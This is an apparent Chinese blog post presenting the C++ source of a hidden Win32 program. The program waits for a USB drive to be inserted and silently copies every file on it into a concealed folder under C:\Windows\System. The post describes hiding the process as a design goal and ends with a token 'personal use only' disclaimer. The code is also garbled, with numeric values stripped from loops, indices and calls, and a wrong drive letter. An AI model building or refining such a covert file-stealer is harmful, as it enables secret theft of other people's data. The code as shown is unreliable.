自动拷贝U盘的数据---

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。

对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用VS2017编译):


 // USB盗猎.cpp : 定义应用程序的入口点。
// 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
// 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译 #include "stdafx.h"
#include "USB助手.h"
#include <windows.h>
#include <iostream>
#include <string>
#include <strsafe.h>
#include <tchar.h>
#define MAX_PATH_ME 256
#define SOURCE_PATH TEXT("C:\\Windows\\System\\text1") using namespace std;
void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{ CreateDirectory(SOURCE_PATH, NULL);
TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
TCHAR Path[MAX_PATH_ME] = TEXT("");
TCHAR Drive[] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
char i = ;
DWORD Drive_Old = GetLogicalDrives();
while ()
{
DWORD Drive_New = GetLogicalDrives();
if (Drive_Old != Drive_New)
{
Drive_New = Drive_New - Drive_Old;
while ()
{
if ((Drive_New & ) != )
break;
Drive_New >>= ;
i++;
}
break;
}
}
Sleep();
Path[] = Drive[i];
Path[] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’
StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
Traver_File(Path, szFile);
return ;
} void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
{
WIN32_FIND_DATAW lpFindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE; TCHAR szDir[MAX_PATH_ME];
TCHAR szDir1[MAX_PATH_ME] = TEXT("");
TCHAR szDir2[MAX_PATH_ME] = TEXT("");
TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址 TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir); //获取源文件地址的操作
StringCchCopy(szDir, MAX_PATH_ME, Path);
StringCchCopy(szDir2, MAX_PATH_ME, szDir);
StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
hFind = FindFirstFileW(szDir, &lpFindFileData);
do
{
StringCchCopy(szFile, MAX_PATH_ME, szDir2);
StringCchCopy(szDir1, MAX_PATH_ME, szDir2); StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2); if (lpFindFileData.cFileName[] == '.')
{
continue;
}
else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName); CreateDirectory(T_szDir1, NULL);
Traver_File(szDir1, T_szDir1);
}
else
{
StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName); CopyFile(szFile, T_szFile, false);
StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
StringCchCopy(T_szFile, MAX_PATH_ME, TEXT("")); }
} while (FindNextFileW(hFind, &lpFindFileData) != );
}

————本程序只可自己玩,不可另做它用!!!

05-11 23:01